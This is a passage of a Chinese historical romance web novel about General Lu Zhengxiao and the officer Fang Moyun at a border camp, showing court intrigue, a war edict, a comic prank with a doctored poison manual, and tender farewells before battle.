当她回到营帐，直接去了主营，看见罗景城和若辰等人正好与正啸商议完事情走出来，茉云的思绪顿时被拉回营内，她停住了脚步看向正啸。
正啸淡淡的望向景城说道：“师兄，你若要跟圣上如此奏明，你思虑清楚，有的事开弓没有回头箭。”
罗景城深吸一口气，看向正啸的眼中有着复杂的情绪：“好，我明了你意思
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了，伴君如伴虎，我会好好斟酌。”
正啸点点头，眼神依旧冷峻，而罗景城继续说道：“我来之前，皇上其实已明说，派萧小王爷来做督军，是深思熟虑之后的决定。你当真执意让他离开军营？”
正啸的眉头微微皱起，吸了口气说道：“让他回东境吧。”
顷刻间，所有人一片沉默，气氛微妙，罗景城长叹了口气，他也知道正啸的决定是很难改变的。
然而，忽然传来一句清脆的声音传来，打破了这一片寂静。
“大将军难道只允许自己建功立业，不让别人上进是吗？伴君如伴虎？成为皇上青睐的近臣不是朝堂之上文臣的毕生追求吗？还有那萧怀逸，人家一心报效朝廷，回什么东境？”
她的语气中带着几分忿然，众人都抬目望向她。
若辰无语的笑了看向茉云说道：“你知道正啸的意思，是希望大师兄不要步他舅舅后尘。至于萧小王爷嘛，他并不了解卢家军……”
茉云却直接指着罗景城说道：“这不是人乐意吗？不走这一步，他能成尚书啊？能走上一人之下万人之上的文臣巅峰？大师兄，你别听卢正啸的，畏畏缩缩何以成大事，舍不得孩子套不住狼。”
她还未说完，正啸伸手拉着她就往营帐内走，茉云无法挣脱，还不忘朝他们喊道：“那个萧怀逸呢，不报恩了？回东境去享福了？那还不如我早早干掉他，给崔老将军报仇得了。”
茉云话还没有说完，已被正啸一把拉入了营帐中。
罗景城则看着深深叹了一口气，忍不住撑着头，无语至极地告辞走了。而若辰和执礼则顷刻被逗乐了。
茉云进入营帐一拍桌子瞪着正啸说道：“卢正啸，现在是急待宣战的重要时刻，他们不去朝堂上争，你还让他们退避三舍，皇上也是，半辈子了还不打，你不如调我去京城吧，我去搞定此事。”
正啸坐下拿起了军务公文，却没有回答茉云的话。
茉云顿时气不打一处来的说：“你不是说我问你什么，你都答吗？”
“我是说于私我皆可答，朝堂之事皆非私事，你不该插手！”正啸双眉微蹙，拿起桌上的公文回应道。
茉云没有好气地撇了撇嘴，反击道：“你奶奶插的手还少！”
“所以她操劳一生，故而我亦不想你插手，再者你想如何去京城？……难道你愿入卢家，陪我奶奶？”
千山顿时吃惊的望向正啸，他居然会说出这样的话。
“那算了！”茉云显然被这话一激，心中不快，没好气的转身要离开。
正啸突然喊道：“站住。”
茉云转过身，顿时便怒气冲冲地瞪着他。
正啸亦意识到自己态度太冲，深吸一口气，语气顷刻柔软了几分说道：“万莫就将药端来了，你先将药喝了。”
而此时，万莫正掀开了营帐门帘，端着热腾腾的药进来，看见茉云便伸手递给她。
茉云皱眉看着那浓稠的药，旋即抗拒的地说道：“这么烫，如何喝得下去。”
“万莫，将药端过来。”正啸则放下了公文，温和地伸出手。
万莫马上将药放在了正啸的案几上，正啸拿起勺子轻轻将药搅冷。
茉云转身看向他，他那本威严而冷峻的双眼，却透出了星辉般的柔和，令茉云顷刻间微微一愣，不由得想起了刚刚干娘所说的话——人世无常，珍惜每一刻好好待他。
她走到正啸的桌案边，看着他面前的文书，轻叹一口气，不知道他今晚还要看到什么时辰……
茉云旋即盘腿坐到桌案旁，趴在案几上望向他，正啸亦抬起头望向她，目光透出深邃的温柔。
千山见状一把拉过万莫，默默地退出了营帐，留下两人四目相触，周遭都好似荡漾出丝丝情愫。
茉云眼中忽然闪过一丝俏意，嘴角上扬说道：“问你个于私的问题，执礼和老太君都说过，我是像你幼时那条恶犬，才得你青睐的，是吗？”
正啸微微一怔，有些无语的看向茉云：“小白？”
茉云点点头，带着几分调侃故意逗他：“可万莫说那个恶犬虽对别人狂吠，但是在你面前甚为乖巧，不论多晚都会去巷子口接你，看见你，还会拼命的摇尾巴！我觉得……我也不像啊，我见你也时常狂吠啊，有时更甚，恨不得咬死你。”
正啸瞬间被逗笑了，眼中闪过一丝柔情，轻轻将药推到她面前：“好了，不烫了，将药喝了。”
茉云深吸一口气，端起药碗喝到一半，脸上早已皱成一团，不禁抱怨：“这世上为什么有这么难喝的东西，好苦。”
“能有多苦？把药喝完。”
“你没喝，你当然不觉苦。”茉云没好气地一饮而尽，喝完她忿然地狠狠放下药碗，再抬起头却愣住了。
正啸俯身而来，顷刻间靠得如此近。茉云还未反应过来，他已在眼前，直逼而来的四目相触，让她一下无所适从。
帐内烛光摇曳，正啸伸手入她发丝，揽住了她，侧头便吻了过来，顿时万物俱静只剩沉浸与温柔，茉云脑中一片空白，轻轻闭上了双眼……
良久之后，他才松开她，温柔地看着她的双眸，说道：“也没觉之多苦。”
茉云片刻才回过神来，眼中居然闪过一丝羞涩，脸亦微微发烫。她旋即憋憋嘴巴，一副被欺负了的神情，没好气的撑起身便走了。正啸目送她的背影，嘴角上扬轻轻地笑了。
只待身影走出营帐，他才收回视线，拿起桌上堆积如山的军务公文，不晓得今夜又要看到何时，但此刻心情不错……
267.可期
天幕深邃，月色如水，温柔而皎洁，轻轻抚向着大地。清风徐徐，带着一丝凉意，却又不失柔和，轻轻拂过心头。月色与风轻轻交织，带着无尽的温柔与绵长……
茉云轻咬下唇，暗自忿然想着，怎能老任其如此冒犯……可心中又情不自禁的悸动。抬头望向夜空，月光铺满全身，今夜月色竟这般动人。
就在此时，黑暗中突然闪过一个身影，茉云的心瞬间警觉，猛地抽回了思绪，冷峻地开口，瞬间透着一股压迫感：“现身吧，就凭你还能在此暗杀我？”
萧怀逸从阴影中走出，目光如冷霜般凝视着她：“留我有用，何用？说说看。”
他的话语没有任何温度，冷冷地望着茉云，心中满是复杂与戒备。
茉云望向萧怀逸，却忽然露出一抹笑意：“好，开门见山是我欣赏的开场。”
萧怀逸的目光依旧锐利，他不愿与茉云多言，但他知道，若不是涉及正啸之事，自己不可能为她所用，若不为她所用，以方茉云之狠戾，她不会留着自己，故而她肯定是有件关于正啸的大事要交给自己办。
“先说说看，你和他之过往，我再考虑是不是可将此事交予你。”茉云望向怀逸淡然的说道，“你也知道，我素来不信人。”
萧怀逸停顿了片刻之后，深吸一口气才开口：“幼时，我在京城处境艰难，有一日，不得已入宫觐见圣上，被小太监故意刁难推搡，跌入了冰冷的御花园池中，我不会游水，已沉入水底，就在意识模糊时，一个强有力的手臂将我一把从池中捞起，此人便是正啸哥。”
茉云双手抱胸看向萧怀逸说道：“就这？”
“他并未多看我一眼，随手丢下我，转身便不顾侍卫的阻拦，将那群仗势欺人的太监全数踹进池中。那一刻，我呆住了，他从未见过如此凌厉果决之人，他竟毫不顾忌对方身份地位，亦未问那些小太监出自哪位主子宫里，就为我出头。他亦不需要我道谢，未言只字片语,便往圣上所在的正殿走去。”
“那是因为皇上是他姑父，再加上他这性子，本谁都不怕。”茉云依旧不为所动的质疑着说，话语间的意思便是，只是这些并不值得你萧怀逸如此肝脑涂地。
“我挣扎着爬了起来，狼狈地在道边等着他。待正啸哥从皇宫出来时，发现了我，衣衫湿透，冻得嘴唇发白，他才停住了脚步。我跟他说，谢谢哥哥你救我。他淡然的说，无需道谢回去吧。说完他上马便要离去，可我忽然冲上前，拉住了他的衣襟，问他，哥哥，可否教教我……如何能让人看得起？”
茉云才没有说话了，望向月下萧怀逸那依旧倔强，却又饱含无尽回忆和感触的双眸。
“他坐在马上看向我说，‘为何要让那群趋炎附势之徒看得起你？活好自己，无须在意任何无关紧要之人。’”萧怀逸说完深吸了一口气，多年来自己始终记得卢正啸说话之时坚毅而傲然的神情，也正因此，自己不再刻意取悦，亦不再在意任何人，无论遭遇多少冷眼与欺辱，艰难与困苦，始终能自持冷静，从容以待，好似化外之人，世事便迎刃而解。
“当日在御花园的池子里，便是已不想活了吧！”茉云嘴角闪出一丝冷笑，看向萧怀逸说道，“那他是算救过你。”
萧怀逸愣了半刻看向茉云这深潭般的双眸，好似锋利尖刃瞬间就能勘破人心。她说得没错，当日自己已尝尽了世态炎凉，想就这般结束自己那不堪而惨淡的人生，而以卢正啸的身份，他本不该救自己，可他却救了，不但救了自己的人，亦真正救了自己本想放弃的命。
“嗯，所言合理便可信，人嘛，无情可定全局。还好这世上还有一个你在意之人，不然你也会是个穷凶极恶，无药可救之人。”茉云眼中闪过一丝寒戾却带着赞赏的笑意，说道，“回京城吧，帮他去查一个人。”
茉云悄悄地在萧怀逸耳边，将自己的疑心之事全数告知了他，萧怀逸的神情顷刻有了变化，他眼神中露出了诧异，神情中亦闪过一丝质疑，但他没打断半分，听完了茉云的话，双眉紧皱，深深吸了一口气。
茉云冷冷地补充道：“但愿我猜想非真，可这万一是真，便是致命。”
“此事哪怕是千万之一，万万之一的可能，我也会查清楚。”
茉云微微一笑点头认同之后，便冷冷转身往营帐走去。
萧怀逸看向她背影，声音带着难以压抑的担忧，开口说道：“方茉云，你可曾想过，若这是真的，这等人世的苦难与险恶，他和卢家军能受得了吗？”
茉云却没有回头，风轻云淡得有些绝情的说：“他不就是人世的苦难和险恶所成就的吗？”
“你难道待正啸哥……如此狠心？”
“萧怀逸，人世不也是这般待我等的吗？”茉云的声音依旧平静如水，但眼神透出了坚定与冷峻，“但你大可放心，他不会让你失望。”。
说完，她的身影渐渐消失在茫茫夜色中，萧怀逸站在原地，深深叹息，望向那深邃晦暗的夜空，心中满是挣扎。
翌日，罗景城和萧怀逸准备回京，临行时两人来与正啸告辞。正啸望向景城点了点头，对待萧怀逸却依旧一脸冷漠。
萧怀逸却丝毫不在意，从容地望向若辰抱怨道：“若辰哥哥可曾想到，正啸哥哥如此重色轻友。”
若辰顷刻被他逗笑了，拍了拍他的肩膀，神情依旧温润：“他让你回东境也是为你好。”
萧怀逸微微一笑，淡然道：“既然正啸哥哥不让我回卢家军，那我便听话不回。”
他昨夜已下定了决心，要在京城查清那件骇人听闻之事，决不能让卢正啸的背后有如此阴寒的恶兽存在。
众人都离开了裴桥，裴桥边关的营地恢复了片刻的宁静，茉云亲自去送了干娘几十里路，回来后，最近几日她都显得特别乖巧，安静地待在营帐中养伤。
白夫人今天为她诊脉时，不由得长长叹了口气。那一声叹息引起了正啸的关注，他瞬间抬头双眉微皱，透出一丝紧张地看向白夫人。
白神医被逗笑了，调侃道：“夫人，你别吓人。”
白夫人则微笑着说道：“我只是感叹，方茉云你这几日乖得让我都有些感动了，乖乖喝药，未曾喝酒，亦没动粗，身体恢复得很快，毒已解，伤也好了很多。”
茉云旋即开心地问道：“那我可以喝酒了吗？”
正啸没有片刻犹豫，斩钉截铁地回应：“不可以。”
茉云瞬间抬起头，愤然瞪向正啸，不满道：“那大将军你还是派我回南元算了？”
正啸没有接话，眼睛看回了公文，最近自己觉得她还是在自己身边最好，假公济私就假公济私吧。
周围的人都忍俊不禁，气氛亦是轻松愉悦的。
就在这时，白夫人的徒弟不言愤愤不平地冲进了营帐，脸肿得像猪头一般，说话都成了大舌头。众人看到他那模样，顿时忍不住笑出了声，茉云更是顷刻笑得前仰后伏。
不言一拍桌子，指着茉云骂道：“方……茉云……你个贱人，你敢对我……下毒！”
白夫人亦不得不忍住笑意，望向不言问道：“你怎么可能被下毒？这毒你一喝，自己就知道啊？”
不言含着大舌头委屈地说道：“师傅，这个贱人，她把药……涂在了师傅您新带来给我的，那本毒物之术……的古书上。我专心致志地……看得津津有味……还以为那是陈年古书的气味。”
白神医和白夫人都笑得不行，显然他们很了解不言的习惯——他习惯边舔一下手指边翻书。看着他脸如猪头的样子，连千山和万莫也都忍不住笑意。
不言更是气不打一处来，指着茉云继续骂道：“方茉云！”
茉云边笑得不行，边看着他挑衅地说道：“怎么了？你前几日还把我气得吐血呢。如此大仇，岂有不报之理？”
“我又没骗你……那几日师傅都说，大将军气血翻腾，被你气得热毒都要犯了……是你自己跟人家不清不楚……你才吐血的。”
“你才跟人不清不楚！”茉云旋即和不言对骂道。
不言翻了硕大一个白眼，含着大舌头，没好气的说道：“你和大将军还不是不清不楚？昔日在南华，我师傅她当日有孕在身，你胸前暗器，就是大将军给你取的！”
话音未落，营帐内顿时静得落针可闻。茉云猛然一顿，随即抬头目光如刀般瞪向不言。不言显然意识到自己失言，顿时捂住嘴巴，眼神飘忽不定，不敢再多说一句……
顷刻间，茉云目光从不言身上移开，转而瞪着坐在一旁的正啸。而他
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正端坐在桌旁，神情一如既往的沉稳平静，好似完全没有觉得有任何不妥。
一旁的白神医夫妇，则仿佛看戏一般，嘴角微微上扬，眼神中皆是意味深长的笑意。
茉云忽然一拍桌子站起了身，气势如即将炸响的雷霆一般：“卢正啸！你也太……！”
正啸则神色淡然，缓缓抬起头看向她，一副淡定从容的模样：“你情愿死？”
她愣了半刻，瞧见正啸这幅不以为然的模样，更是气得快要失语，指着他忿然骂道，“你——你怕是如今没人能管得了你了是吗？”
“我奶奶和父帅皆可管我。”
“好，你等着！”茉云忿然的拿起了纸笔，就要给元帅写信告状，刚要落笔，她忽然意识到，“不对啊……这事要是让元帅知道了，那老头肯定会借坡下驴，让我嫁……”
一想到这，茉云“啪”的一声，忿然的放下了笔，又瞪向卢正啸，可没人能做主，自己又打不过他！众人看向她那快冒烟的神情，顿时忍俊不禁。
卢正啸则处之泰然而又温和望向茉云说道“把药端过去，你先把今日药喝了！”
茉云看了一眼万莫端来的药，又看了一眼正啸那副波澜不惊的神情，只能气得直咬牙。
“药还烫吗？”万莫却不明就里的看向茉云，见她不喝便问道，“让少主给你搅冷？”
此时不言质疑的眼光又瞧了过来，茉云旋即端过药碗就一饮而下，气呼呼地坐下，心中盘算这事绝对不能传出去，特别不能传到卢老太君的耳朵里……
她扫视了营帐内一圈，最终目光落在了不言身上：“这事决不能让人知道，只有你可能会到处胡说八道……”
不言顿时瞪大了双眼，然后转头一溜烟就冲出了营帐逃命而去，茉云飞身就追了出去，不一会儿营帐外传来了众人的笑声。
小马朝着不言背影喊道：“怎么了？不言，头都将你毒成了这样，还不放过你啊！”
不言边抱着头边喊道：“她就是个贱人！”
“我收拾不了他，我还收拾不了你啊？”茉云边追边骂道。
营帐内，正啸无语的叹了口气，不过看她的精气神十足的样子，所幸她的身子好多了。这些日子她也憋坏了，让她活动活动也好。
“我刚还说她安心修养了几日，又开始闹腾了……”白夫人无语的摇摇头，说完她转头看向正啸，却欲言又止。
白神医则意味深长的笑了，示意白夫人无需多问，他坐下为正啸探脉，摸着胡须笑着说道：“嗯，气脉畅通，心情愉悦是为大补啊！”
正啸神情透出一丝无语，却也没有反驳，眼神却较往日温和了很多。
白夫人亦看向正啸担忧的说道：“正啸，眼看初夏将至，你自幼每到酷暑，便是你热毒来犯之时，这些年来，也未见你好好吃药，但奇怪这几年，你倒是也好了些许，不知是为何？”
“我知为何！”白神医嘴角上扬的说道，意味深长的笑着说道，“让你心愉悦者，便是良药也。”
正啸自然是听出了白神医言语调侃之意，无语地躲开了眼神，但是不禁也回忆起，几年前亦是初夏之时，自己遇见了茉云，好像从那时开始，酷暑之时确实再未受郁结体内的热毒所困扰，自己亦没有那么排斥夏日了……
白神医起身望向正啸说道：“但无论如何，我为你配好的药凉茶，你夏日还是得日日泡着喝。大战在即，你更要保重好身体。”
“好，我让千山记得泡给我喝！”正啸点头说道。
他们两夫妇都不禁望向正啸，这小子自小便是武人性子，从不将自己的身体当回事，要他喝药不喝，要他修养不当回事，不然体内怎会有多年热毒呢……
“你这是日日管着她，自己也懂事了？知道要爱惜自己身体了？”白神医被逗笑了望向正啸说道。
正啸的目光柔和地投向营帐外，眼中闪烁出一丝温暖的光芒：“也许吧，我亦希望能大战凯旋，平安归来。”
这一刻，连周遭好似都透出了他内心深处的坚定与期望，他也是最近才突然察觉到，他这一生可以不只是为了承担卢家之志向，国家之重担，在完成这份保家卫国的夙愿后，他还有来日可期待，还有星月可寄望，余生有人在等他……
268.沉醉
一晃两日，茉云便不来正啸的营帐了，营中碰见了，她也远远掉头就走，正啸眼中闪过一丝无语，却看见旁边的执礼若有所思且直愣愣地望向自己，正啸更是无语的转身走了。
而这日晌午后，帐外突然传来一阵嘈杂，正啸抬起头，没过多久传来一声惊恐的喊叫：“我，我不是，我只是想来拜访一下大将军。”
执礼等人都抬起了头，这声音好像有些熟悉。
正啸则放下了手中的笔，看向千山温和的说道：“去，把王胖子请进来。”
千山马上走出了营帐，不一会儿王胖子和二花被带到了营帐门口，满脸汗水，惊慌失措。
可走进营帐，王胖子看到正啸之时，立刻笑得咧开了大嘴，便要大步冲上前，一瞬间卫兵齐齐拔刀，挡住了她的去路，吓得他两顿时立在原地纹丝不敢动。
千山无语的马上跟卫兵说：“他两是方将军的朋友，没事。”
卫兵们警觉而恭敬地禀报道：“千山哥，这两人身上似乎背着铁锤或是流星锤之类的重器。”
众人目光不由自主地移向王胖子和二花，才发现他们背后果然背着两个重重的包裹，好似藏有什么危险的“大家伙”。
正啸此时抬目温和的看向他两，抬手示意让卫兵退下去。
“是”众卫兵才马上抱拳行礼，退到了帐外两旁。
不一会儿功夫，茉云便开心的冲进了营帐，她听见了王胖子的声音，可是瞧见他两这幅狼狈的模样，忍不住笑着调侃道：“王胖子，你哪日会不会去冲皇宫，说我只是想见见皇上啊？”
王胖子和二花顿时露出了憨厚的笑容，一起挠着头冲着众人一通傻笑。
茉云则旋即凑上前，拨拨王胖子背后的包袱，满脸期待的说道：“你这是给我带了啥好吃的？”
王胖子和二花立刻眼睛一亮，迫不及待地放下包袱，打开布给茉云展示着，里面压根不是什么铁锤、流星锤，而是——两根硕大的腊火腿，还有腊鸡、腊鱼、腊排骨，各种腊味堆得几乎可以铺满半个营帐。让包括卫兵内的众人皆傻了眼。
王胖子则满心欢喜的指着说道：“我爹娘说不知道你病好没好，我们就想来看看你，他们说多给你带些好吃的，让你补补身体。”
“哇，发财了！”茉云一把抱起一根腊火腿，傻笑着点头，点得像鸡啄米似的，然后和万莫一起，满脸陶醉地欣赏着这些美味，让众人看着都忍俊不禁。
晚上，若辰特意让季岚在城中准备了一桌酒席，款待王胖子夫妇。茉云高兴地带着王胖子和二花走进包房，却看到正啸也亲自来了，她白了一眼，没好气地坐在离他最远的位置上。
若辰则乐了凑近执礼小声问道：“你少主，这是如何又得罪茉云了？”
执礼则乐了故作小声地说道：“不知道啊，这几日她都不搭理少主，我只是前日上午来了刺史府，回去便这样了，也不知道错过了什么好戏。”
正啸却压根懒得理他们两，茉云则开心地端起酒杯，刚准备喝却下意识的停了半刻，仿佛也没有听到反对的声音，她才开心的一饮而尽。正啸也没有说什么，有朋自远方来不亦乐乎，难得她这么开心，让她喝几杯也无妨。
席间王胖子和二花两人大快朵颐，与大家谈笑风生，众人没有半分嫌隙，季岚也非常热情的招待众人吃喝，快用完膳的时候，忽然千山神情严肃的走进来，说道：“少主，圣旨到了，已在外面等候，您和关大人、方将军都要去接旨。”
他们三立刻请起身出去接旨，皇上下旨让正啸和若辰速速赶回京城，裴桥之罪不全归究于方茉云，此时中州边防虎翼营调往了南边大营，如今中州边防没有武将驻守，让方茉云去守中州戴罪立功。
他们三接完旨意，若辰马上命府上之人去带传旨之人去休息。
若辰的话语停顿了一瞬，目光沉稳地落在正啸身上：“刚才传旨之人说，招元帅回京的旨意应该也到了，是不是意味着……”
“是，朝廷要宣战了。”正啸的眼中顿时闪烁出坚定而冷峻的光芒。
此刻，执礼深深吸了口气，神情透出一种久违的压抑和释然，望向圣旨，他知道，这一刻，卢家军终于等到了。卢家从不嗜战，可为南境太平必将一战，他们经历了多少年的等待与磨砺，才终于等到了……
茉云站在一旁，她知道众人回到京城后，定也是不顾一切、放手一搏，最终让皇上能力排众议，像峑戎宣战。为了这场战斗，大家已经付出了多少鲜血和努力，她默默抬起头望向星空，义父和老马你们听到了这个消息是不是也觉得为之振奋……茉云心中不禁涌起了说不尽的豪情与坚定。
就在此时，王胖子他们走了出来，完全不知晓其中深意。只是看着茉云一脸崇拜的说道：“茉云，连皇上都给你下旨啊，真是太厉害了。”
茉云转身，温和地看着王胖子，微微一笑，问道：“你们接下来什么打算？”
王胖子一脸憨笑，兴奋地说道：“难得出来走走，我带着媳妇到处逛逛。”
茉云语气温和却带着几分不容质疑地望向他两人说：“好，趁着此时安稳，逛逛挺好。逛个半月便回家，记住了。”
王胖子开心的大手一挥，说道：“好，那你和大将军还有诸位大人都要保重，有空我再来找你玩。”
茉云顷刻间神色却有些许复杂，带着几分决然：“王胖子，带着二花去过好自己日子，轻易不要再来找我了。”
王胖子愣愣地看着茉云，似乎没有明白她的意思。众人也都不禁注视到茉云坚决而刚毅的脸上。
“亦不要跟人提起我，就当做从来不认识我。”
二花显得有些不解，小声问道：“为什么？”
茉云深吸了一口气，凝视着王胖子，继续说道：“苏云青死了。”
王胖子顿时愣住，眼中全然都是惊愕，他当然听过苏云青的名字，这个人曾经是茉云婚配之人，如今就已不在人世……
茉云继续平淡地说道：“老马和我刚认的义父崔老将军也走了。”
王胖子眼眶瞬间红了，呆呆地看着茉云，泪水一下填满了眼眶。老马还曾帮过他……他一时几近哽咽地说不出话来，老马是那么善良宽厚的大叔，脸上总是挂着笑容。
茉云深深吸了一口气，眼中闪过一丝冷冷的笑意，说道：“也许苏云青的娘说的没错，我就是命太硬。王胖子，可我希望你和二花能好好过日子。”
此言一出，周遭皆沉默了，众人看向茉云不由得心中一震，她的眼神如此平静，但是眼底深处，好似透着不可名状的痛楚，而正啸更是能感同身受她内心深处的波涛汹涌，尽管她此刻如此冷静与坚韧。
王胖子挥挥胖手，擦了擦眼角的泪水，一下就露出了憨傻的笑容：“你放心，我跟二花肯定过得特别幸福！我们就要好好过，证明那个刻薄的老太太说的话不是真的！咱们关系这么好，你看我就过得很好，特别好！”
他的声音虽然有些沙哑，但眼神中却全是笃定，二花也迅速擦去泪水，不断点头表示着赞同。
茉云终于又露出了灿然微笑，看向王胖子点了点头。众人皆不禁为这份质朴坦诚而深厚的情谊而动容，这世间依然有许多……值得守护与珍惜。
待季岚派人将王胖子和二花送回客栈后，便转头望向若辰，声音带着些许急切：“皇上急召你们入京，我马上收拾行囊，安排车马即刻出发？”
正啸却微微皱眉，轻轻说道：“明日一早再出发吧。”
季岚和执礼都有些愣住了，纷纷望向正啸，显然他们没有料到正啸会如此说，这可是皇上急召，事情显然非常紧迫。
若辰则心领神会地点了点头，说道：“裴桥刚经历如此惨状，又差点受到奸人挑拨，酿成民众暴动。我等将事情交代好
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之后，明日一早出发，圣上定能体谅。”
季岚也默默地理解了若辰的意思，点了点头。
夜风凛冽，带着丝丝凉意，正啸和茉云骑马回营。一路上，茉云显得有些沉默，只要回到了裴桥城中，心中不禁隐隐感到一丝怅然，此刻寒风袭来，心中更凉，可忽然间，正啸飞身而来，上了茉云的马。
她的马儿一下子惊得长撕一声，茉云也一下没缓过神，但正啸很快拉住了缰绳，将她紧紧抱住。茉云微微挣扎，试图挣脱正啸的怀抱，却被他抱得更加紧密。
“卢正啸！”茉云不满地小声喊道，语气中带着被冒犯的怒气。
正啸却没有松开她，反而温和地俯身望向茉云说道：“要开战了，你先在中州好好养伤。”
茉云抬头看向他那张冷峻却温和的面容，嘴巴瘪了瘪，显然有些不满地说道：“你姑父还真是深谙你心啊，又把我调去个闲地。”
正啸望向前方，微微将头轻轻地靠向茉云的额头，语气轻柔而真诚：“不是，我现在希望你就呆在我身边。”
茉云顷刻间能感受到正啸的呼吸是如此炙热，他的怀抱亦是如此温暖而坦然。
“待你修养好，我会想办法将你调回营中，与我并肩作战。”
茉云轻轻抬头，望向正啸深邃的眼眸，正啸亦俯身望向她，两人四目相对，似乎这无声中只剩情感在流淌。茉云轻轻一笑，带着些许娇俏，说道：“末将实乃荣幸，终得大将军赏识了。”
正啸顿时被她逗笑了，俯身沉沉的亲了一下茉云的额头。茉云无语的轻轻撅起嘴巴，没好气地缓缓移开了头。正啸则嘴角微微上扬，笑着将披风扯过来，将茉云裹住，挡住了迎面而来的寒风。
茉云靠到正啸的怀里，周遭四野如此静谧安稳，这也许就是战事将至之前最后的宁静。
她突然抬起头望向正啸轻轻问道：“终于要开战了，开心吗？”
正啸深深叹息了一声，沉声说道：“世上怕是再无人比我更厌恶打战了，只盼此战之后，南境再无战事。”
茉云则望向天际亦感叹道：“是啊，已然流淌了这么多鲜血，只盼一日南境能太平安宁。”
她低下头时，轻轻闭上眼睛，一瞬间崔老将军倒在血泊中的情景再次出现在眼前，这已经成为她这些日子挥之不去的噩梦，她顿时睁开双眼，眉间紧皱……而正啸似乎也能感受到了，轻轻抬手摸摸着她的头安抚她。
茉云忽然皱眉问道：“可曾有人说过你命太硬？”
正啸轻拉着缰绳，目光依旧平静的望着前方回应道：“有且不少。”
茉云眼中顷刻间透出了不屈和狠戾，抬头直视正啸，问道：“那有人帮你骂回去吗？”
正啸低头从容而温和的望向茉云：“骂回去也解决不了问题。”
“那要如何解决？打回去？”
“可也找个命硬的，抵消之。这还是昔日宋大人喝多了，跟我说的，他说天降大任于斯人也，你两都如此扛事，而且你如此严厉，她这般凶狠，你两就相互耗，莫去害别人，就当你们也都尽了拯救苍生之责。”正啸说到此，嘴角亦微微上扬，“我想着，这亦是个好法子。”
茉云愣了半刻，瞬间笑得前俯后仰，正啸居然也会说笑逗自己开心了，茉云笑得差点从马上跌下。幸好正啸及时一把将她紧紧搂住，在正啸怀中，这份安抚如同春风拂面，茉云心中的怅然也瞬间淡淡的消逝无踪。
两人皆知大战在即，等待他们必是血雨腥风，惊涛骇浪，但就在这一刻，只想任由温暖和情意在心底蔓延开来。
茉云又微微闭上眼睛，感受着心中波澜慢慢平复下来的安稳，渐渐居然觉得自己有几分醉意，便安静地将头靠到正啸胸膛，可她不由得在心中轻轻问自己：“酒岂能醉我，那又是什么能让我醉，是人间吗？”
人间本不值得令我沉醉，但你来了……
269.势均力敌
翌日清晨，暖阳初升，众人踏上回京的路程，茉云一同出发赶赴中州。
若辰自然是知晓，正啸想亲自送茉云去中州，再北上京城，而茉云伤病未愈，不甚夜风凌冽，故而他决定清早再出发。
众人前，两人自然都是克制而保持距离之人，走到岔路口之时，正啸让若辰与执礼继续北上，而自己则先将茉云送至中州，再快马加鞭赶上他们。
茉云怔了半刻微微蹙眉，质疑地说道：“为何要送？难道怕我跑了？”
执礼则轻笑帮正啸回答道：“可不就是担心嘛。”
顿时，茉云转头没好气的瞪向他，执礼旋即就走到了正啸身后，众人顷刻间忍俊不禁，茉云速来不喜跟人道别，拉过缰绳转头便往通往中州的马道上走。
一路，正啸和茉云骑马同行，进入中州之时，不能骑行只能慢走，茉云特意让马走得离正啸稍远一些，似乎在刻意防止正啸一个纵身又跳上她的马。
正啸的目光望向茉云，茉云则无语还有些生硬地说道：“你别跳过来啊……中州城中谁不认识咱俩，你等会儿就走了，我还得留在中州混的……人言可畏。”
正啸没有说什么，只是默默拉住缰绳，让烈儿的步伐渐渐放慢，茉云的马也跟着缓缓行进。
渐渐地，四周的景色也随着夜幕的降临，变得愈发沉静。就在经过心悦楼时，又热闹了起来，茉云不由自主地望了过去。
华灯初上，楼上依旧人声鼎沸，但任其如何繁华喧嚣，青岚的身影再也不见了。
那一刻，茉云沉浸在自己的思绪之中，忽然听见身后传来温暖而深沉的声音：“方茉云，往前看。”
茉云晃过神来转头看向正啸，正啸的眼神还是如此威武，透出了刚毅而坚韧的光，茉云将视线慢慢从他的脸庞移开，嘴角却轻轻上扬，当年自己便是第一眼就喜欢——他的眼神，就像只会眺望苍穹和俯瞰众山的老鹰一般，绝不会顾盼回头，软弱犹豫。
街道上已少有行人，空旷的街道只有清风风拂过，带走马蹄扬起的微微尘土。可任马儿走得再慢，终究，他们还是来到了宋府的门前。
茉云目光落在那熟悉的门口，她深吸一口气飞身下马，转身便走，洒脱地说道：“到了，你可走了。”
然而，就在她转身之时，身后忽然传来一道低沉的声音：“方茉云。”
茉云转身抬头望向他，正啸的身影端坐于马上眼神深沉。她愣了片刻心中还在想……叫我干嘛？
就在没有丝毫预兆和防备之时，正啸忽然俯身一把将茉云抱起，强有力地按住她的头，深深地吻了下来。茉云被抱得几乎脚尖都离开了地面，却不得不迎接着他全身压迫而来的吻。她本能的想要挣脱，可这顷刻间暴动般的温柔，如狂风卷云般，让她瞬间感到一阵迷失，失去了方向。
良久之后，正啸才终于松开了她，深深地望着她。
茉云顿时都分不清听见的是谁的心跳声，只知道他的胸膛还在猛烈地起伏，她与正啸四目相触，他眼神依旧霸气而冷峻，只有眼底透出一丝无法掩饰的不舍。
茉云微微晃过神，心想我是不是该跟他说些什么？她脑海中顷刻回忆起，其他将军的夫人或者今早季岚送行之时，含情脉脉地说：“郎君，请保重”，茉云瞬间就被逗笑了，自己怎么说得出口！
而就在一刹那间，忽然茉云仰起了头，神情透出决然，眼眸中迸射出一道笃定而桀骜的光，望向正啸说道：“卢正啸，此战必胜。”
正啸微微一愣，两人同样凌冽的眼神在空中交汇，胜过千言万语。瞬间他的脸上绽放出一抹笑容，笑容中带着一股令人心潮澎湃的热血，他再次伸手一把紧紧抱住了茉云，在她耳边深沉的说道：“好。”
说完，他松开她，拉过缰绳，再无任何迟疑地策马而去，他那果决而威武的身影渐渐消失在夜幕之中。
茉云转身亦坚定往宋府走去，心中回荡着刚刚那深深一吻，既是告别，也是承诺，带着深深地不舍，亦怀着绝不迟疑的坚定。世间再浓烈的情话，都不及此时两人灵魂深处的信仰与契合。
她推门走入宋府，眼前的场景让她微微一愣。宋大人夫妇和沈师爷站在门后，显然有些局促，似乎还在讨论着什么……
直到见到茉云已然出现在眼前，宋大人才故作镇定地，咳了几声，顺了一下嗓子说：“来了啊，怎么这么晚……可有吃饭啊？”
茉云不由自主地被逗笑了，调侃道：“瞧见了便瞧见了，我都觉之坦然，你们局促个什么劲。”
宋大人顿时亦乐了，原本的紧张情绪，也随之放松了，他喜笑颜开的上前质疑道：“方茉云，那可是卢正啸，你是如何办到的？”
